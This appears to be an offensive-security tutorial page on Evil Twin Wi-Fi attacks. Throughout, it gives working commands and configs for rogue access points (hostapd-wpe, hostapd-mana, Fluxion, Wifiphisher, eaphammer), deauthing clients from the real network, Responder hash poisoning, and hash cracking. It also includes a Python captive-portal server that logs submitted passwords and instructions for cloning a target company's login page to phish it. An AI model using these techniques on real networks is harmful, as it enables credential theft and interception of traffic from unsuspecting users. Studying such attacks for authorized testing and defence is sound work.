Evil Twin Attack
An Evil Twin is a rogue access point that mimics a legitimate network. When clients connect, attackers can capture credentials or intercept traffic.
Evil-twin credential capture
Prerequisites & Hardware
You Need Two Wireless Adapters
hostapd-wpe (WPA-Enterprise)
hostapd-wpe ships as a patch against the upstream hostapd source rather than a standalone package. Clone it, apply the patch, and build.
git clone https://github.com/OpenSecurityResearch/hostapd-wpe
sudo apt-get install libssl-dev libnl-genl-3-dev
wget https://w1.fi/releases/hostapd-2.6.tar.gz
tar -zxf hostapd-2.6.tar.gz
cd hostapd-2.6
patch -p1 < ../hostapd-wpe/hostapd-wpe.patch
cd hostapd
# On Kali 2.0+, uncomment CONFIG_LIBNL32=y in .config first
make
# Generate the WPE certificates
cd ../../hostapd-wpe/certs
sudo ./bootstrap
The build produces a working hostapd-wpe.conf and a
hostapd-wpe.eap_users next to the hostapd binary. Point the certificate
paths at the files generated by certs/bootstrap.
interface=wlan0
ssid=CorpWiFi
channel=6
hw_mode=g
wpa=2
wpa_key_mgmt=WPA-EAP
rsn_pairwise=CCMP
eap_user_file=/etc/hostapd-wpe/hostapd-wpe.eap_users
ca_cert=/etc/hostapd-wpe/ca.pem
server_cert=/etc/hostapd-wpe/server.pem
private_key=/etc/hostapd-wpe/server.keyRun the attack. Captured credentials will appear in the output.
sudo hostapd-wpe /etc/hostapd-wpe/hostapd-wpe.conf
hostapd-wpe prints the captured MSCHAP challenge/response in John the Ripper's
NETNTLM format, so crack it with John directly; asleap handles
the EAP-FAST/MSCHAP (v1) challenge-response pair.
# hostapd-wpe writes John-the-Ripper NETNTLM hashes to stdout and hostapd-wpe.log
john --format=netntlm hostapd-wpe.log
# EAP-FAST / MSCHAP (v1) challenge-response pair with asleap
asleap -C <challenge> -R <response> -W /usr/share/wordlists/rockyou.txtFluxion (Automated WPA-PSK)
Fluxion automates the evil twin process for WPA-PSK networks.
git clone https://github.com/FluxionNetwork/fluxion
cd fluxion
sudo ./fluxion.shFluxion workflow:
- Scan for targets
- Capture handshake
- Create evil twin
- Deauth clients from real AP
- Clients connect to evil twin
- Serve captive portal asking for WiFi password
- Validate password against handshake
Manual Evil Twin (hostapd + dnsmasq)
Configure hostapd.conf for an open network.
interface=wlan1
driver=nl80211
ssid=FreeWiFi
hw_mode=g
channel=6
wmm_enabled=0
macaddr_acl=0
auth_algs=1
wpa=0Start the fake AP.
sudo hostapd hostapd.conf
Configure DHCP with dnsmasq.
interface=wlan1
dhcp-range=192.168.1.100,192.168.1.200,12h
address=/#/192.168.1.1Enable IP forwarding and NAT for internet access (optional).
sudo sysctl net.ipv4.ip_forward=1
sudo iptables -t nat -A POSTROUTING -o eth0 -j MASQUERADEMANA / Karma Attacks
Traditional evil twins mimic a specific SSID. MANA and Karma attacks are more aggressive — they respond to all probe requests from nearby devices, pretending to be whatever network each client is looking for. If a phone probes for "HomeWiFi", the rogue AP says "I'm HomeWiFi".
KARMA vs. MANA
hostapd-mana
# Install hostapd-mana
git clone https://github.com/sensepost/hostapd-mana
cd hostapd-mana
make
# Configure MANA mode
cat > mana.conf << 'EOF'
interface=wlan1
ssid=FreeWiFi
channel=6
hw_mode=g
# MANA settings
enable_mana=1
mana_loud=1 # Broadcast beacons for all probed SSIDs
mana_macacl=0 # Don't filter by MAC
enable_karma=1 # Respond to directed probes
# Log all captured probes and associations
mana_outfile=/tmp/mana-creds.log
EOF
sudo ./hostapd-mana mana.confWifiphisher (Automated MANA + Phishing)
# Wifiphisher combines MANA with templated phishing pages
sudo apt install wifiphisher
# Auto-select target and launch phishing portal
sudo wifiphisher
# Target specific AP with firmware update phishing template
sudo wifiphisher -aI wlan0 -eI wlan1 \
--essid CorpWiFi -p firmware-upgrade
# Available phishing scenarios:
# firmware-upgrade — fake router update page
# oauth-login — Google/Facebook style login
# wifi-connect — re-enter WiFi password
# plugin_update — browser plugin updateCredential Harvesting Portals
Once clients connect to your evil twin, serve a captive portal that collects credentials. The portal should match the target's visual branding for maximum success.
Portal Architecture
# Complete credential harvesting stack:
#
# Client ──WiFi──> [Evil Twin AP] ──iptables──> [dnsmasq]
# │
# DNS: * → 192.168.1.1
# │
# [nginx/Apache]
# │
# Captive Portal Page
# (cloned login page)
# │
# Credentials → log file
# Step 1: Redirect all HTTP/HTTPS to portal
sudo iptables -t nat -A PREROUTING -i wlan1 -p tcp --dport 80 -j REDIRECT --to-port 8080
sudo iptables -t nat -A PREROUTING -i wlan1 -p tcp --dport 443 -j REDIRECT --to-port 8080
# Step 2: dnsmasq — resolve everything to portal IP
# address=/#/192.168.1.1 (already in dnsmasq.conf)
# Step 3: Start a simple credential capture server
python3 << 'PYEOF'
from http.server import HTTPServer, SimpleHTTPRequestHandler
import urllib.parse, datetime
class PortalHandler(SimpleHTTPRequestHandler):
def do_POST(self):
length = int(self.headers.get('Content-Length', 0))
body = self.rfile.read(length).decode()
params = urllib.parse.parse_qs(body)
ts = datetime.datetime.now().isoformat()
with open('/tmp/creds.log', 'a') as f:
f.write(f'{ts} | {self.client_address[0]} | {params}\n')
self.send_response(302)
self.send_header('Location', 'http://connectivitycheck.gstatic.com/generate_204')
self.end_headers()
HTTPServer(('0.0.0.0', 8080), PortalHandler).serve_forever()
PYEOFCloning Target Login Pages
# Clone a target's captive portal for realistic phishing
# Use wget to mirror the login page
wget --mirror --convert-links --page-requisites \
--no-parent https://login.targetcorp.com/wifi-auth/ \
-P portal-clone/
# Or use httrack for more complex sites
httrack https://login.targetcorp.com/wifi-auth/ \
-O portal-clone -r2 -%v
# Modify the form action to point to your capture endpoint
# Change: <form action="https://login.targetcorp.com/auth">
# To: <form action="http://192.168.1.1:8080/capture" method="POST">Eaphammer Advanced Techniques
Eaphammer automates most evil twin scenarios from a single tool. These advanced options go beyond basic credential capture.
# Install eaphammer (build from source)
git clone https://github.com/s0lst1c3/eaphammer.git
cd eaphammer
./kali-setup
# Hostile portal — serves phishing page after client connects
./eaphammer -i wlan0 --channel 6 --essid CorpWiFi --hostile-portal
# Hostile portal with custom HTML template
./eaphammer -i wlan0 --channel 6 --essid CorpWiFi \
--hostile-portal --portal-template /path/to/cloned-login/
# Known beacons — broadcast common SSIDs to attract more clients
# ("attwifi", "xfinitywifi", "NETGEAR", etc.)
./eaphammer -i wlan0 --channel 6 --essid CorpWiFi --creds --known-beacons
# ESSID-less mode — respond to ALL probes like MANA/Karma
./eaphammer -i wlan0 --channel 6 --negotiate gtc-downgrade \
--creds --known-beacons
# Simultaneous deauth from second adapter
# This pushes clients from real AP to your rogue AP
./eaphammer -i wlan0 --channel 6 --essid CorpWiFi --creds \
--deauth-iface wlan1monEaphammer + Responder (LLMNR/NBT-NS Poisoning)
# Once clients connect to the evil twin, use Responder
# to capture NTLMv2 hashes from Windows devices
# Terminal 1: Run evil twin
./eaphammer -i wlan0 --channel 6 --essid CorpWiFi --creds
# Terminal 2: Run Responder on the AP interface
sudo responder -I wlan0 -wrf
# Windows clients will attempt LLMNR/NBT-NS resolution
# Responder poisons these and captures NTLMv2 hashes
# Crack with hashcat -m 5600 (NTLMv2)Post-Connection Attacks
Verify It Worked
| Check | Expected | Where to look |
|---|---|---|
| Rogue AP runs | hostapd hostapd.conf starts and keeps running without exiting | The hostapd console |
| Enterprise credentials captured | hostapd-wpe writes the NETNTLM challenge/response to stdout and hostapd-wpe.log | The hostapd-wpe output |
| Portal captures submissions | POSTed credentials are appended to /tmp/creds.log as timestamp | client IP | params | /tmp/creds.log |